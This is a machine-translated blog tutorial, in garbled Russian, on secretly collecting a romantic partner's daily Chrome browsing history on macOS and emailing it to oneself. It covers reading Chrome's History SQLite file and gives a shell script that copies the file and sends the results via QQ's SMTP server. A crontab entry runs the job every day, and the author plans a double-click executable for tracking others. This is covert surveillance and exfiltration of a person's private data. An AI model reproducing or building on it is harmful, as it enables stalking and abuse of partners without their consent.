Python отслеживает, какие сайты просматривает ваша девушка/парень каждый день

задняя часть Python рептилия

необходимость:

(1) Получите все веб-адреса (URL-адреса) и время доступа в истории просмотров вашего объектного хрома за предыдущий день и сохраните их в текстовом файле.

(2) Отправьте этот текстовый файл на указанный адрес электронной почты (ваш адрес электронной почты)

(3) Установите рутинные задачи и выполняйте эти операции автоматически каждый день.Вы можете проверять, что ваш объект видит каждый день по электронной почте.

задний план:

(1) Где находятся записи просмотра Chrome под Mac? Как получить адрес сайта (url) и время доступа?

Ответ: Путь: /Users/username/Library/Application\ Support/Google/Chrome/Default/History

История: это база данных SQLite, по сути, файл, вы можете использовать DB Browser для SQLite

Чтобы увидеть всю информацию, нужная нам информация находится в таблице URL-адресов.

Как это получить: используйте встроенную библиотеку python sqlite3 для подключения к истории и получения необходимой информации через sql.

(2) Как отправить электронное письмо с вложениями?

Ответ. Используйте встроенные в Python модули электронной почты и smtplib для создания и отправки электронных писем.

(3) Как автоматизировать эти процессы?

A: Используйте сценарий оболочки для подключения этих процессов, а затем используйте команду crontab для регулярного запуска.

требования:

macOS Sierra

Python3.6

Chrome

QQ адрес электронной почты для отправки электронных писем

Код авторизации почтового ящика QQ

Адрес SMTP-сервера:smtp.qq.com

Адрес электронной почты для получения почты

Код:

1. get_history.py

2. send_email.py

3. start.sh

4. crontab -e

Ссылка на сайт:disk.baidu.com/is/1VB er5IA X…Пароль: b8ab

воплощать в жизнь:

(1) Во-первых, давайте использовать DB Browser для SQLite, чтобы увидеть состав данных таблицы URL-адресов в истории.

Как видно из таблицы, нужный нам URL и время доступа находятся в urls.url и urls.last_visit_time.

(2) get_history.py: с помощью этого скрипта мы можем извлечь URL-адрес и время доступа и сохранить их в

В result.txt следующий рисунок является частью результатов, которые я получил

(3) send_email.py: с помощью этого скрипта мы можем отправить result.txt в виде вложения на указанный адрес электронной почты.

Следующее изображение является частью результатов, которые я получил

(4) ./start.sh : На самом деле предыдущие сценарии выполнили наши задачи, но каждый раз выполняется так много сценариев

Бен, слишком много проблем, мы можем организовать операторы выполнения этих скриптов в сценарий оболочки.

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

Таким образом, мы выполняем ./start.sh в терминале, и система поможет нам выполнить эти три оператора по очереди.

Примечание. Поскольку для команды crontab требуется абсолютный путь, все пути здесь являются абсолютными путями.

(5) crontab: Если вы используете эту команду, система автоматически запустится при включении компьютера и подключении к Интернету, а затем отправит результат на ваш почтовый ящик.

Как использовать: введите crontab -e в терминале и используйте vim для ввода следующей строки кода.

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

Описание: Первые два числа — это время, когда вы запускаете этот скрипт каждый день, здесь я установил 14:20.

Важно еще раз сказать, обязательно напишите абсолютный путь! ! !

проблема:

1. Пароль в функции server.login(from_addr, password) не является паролем ящика, в ящике qq он относится к коду авторизации

Ответ: Код авторизации почтового ящика QQ:Что такое код авторизации и как его настроить? Справочный центр почты _QQ

2. При доступе к базе данных History отображается: База данных заблокирована!

Ответ: Это происходит, когда мы одновременно открываем браузер и заходим в Историю. Есть два решения:

(1) Закройте браузер и зайдите снова

(2) Скопируйте историю в другую папку, а затем получите доступ к истории в папке

3. Как преобразовать метку времени в метку времени

Ответ: last_visit_time — это микросекунды, поэтому разделите на 10^6;

Начальное значение last_visit_time — 1 января 1601 года, 0:00:00, поэтому вычтите 11644473600;

Фильтровать вчерашние данные: данные, у которых разница между текущей датой и last_visit_time меньше 1 — это расстояние от текущего времени

данные менее 1 дня

4. ошибка кронтаба

Ответ: Все пути в crontab должны быть прописаны абсолютными путями, включая пути в py-скриптах, и абсолютные пути тоже должны быть прописаны!

Суммировать:

1. Используйте python для подключения к базе данных SQLite и выполнения операций sql.

2. Используйте Python для отправки электронных писем

3. Используйте оболочку и crontab для создания автоматизированных рутинных задач

4. Неправильно смотреть на частную жизнь других людей.Эта статья - просто моя собственная игра, и фактическая осуществимость не сильна.

Внешний вид:

1. Упакуйте их в исполняемый файл, который можно развернуть сразу после двойного щелчка и который может быть кросс-платформенным.

2. В настоящее время этот сценарий может выполняться автоматически только тогда, когда компьютер включен и подключен к Интернету, поэтому он не идеален для отслеживания записей просмотра других людей!

3. Напоследок желаю всем быть цепкими, как травка на обложке, и поскорее достичь пика жизни

Ссылка на ссылку:

SMTP отправка почты

Использование SQLite

zh.wikipedia.org/wiki/Cron

19. запланированные задачи crontab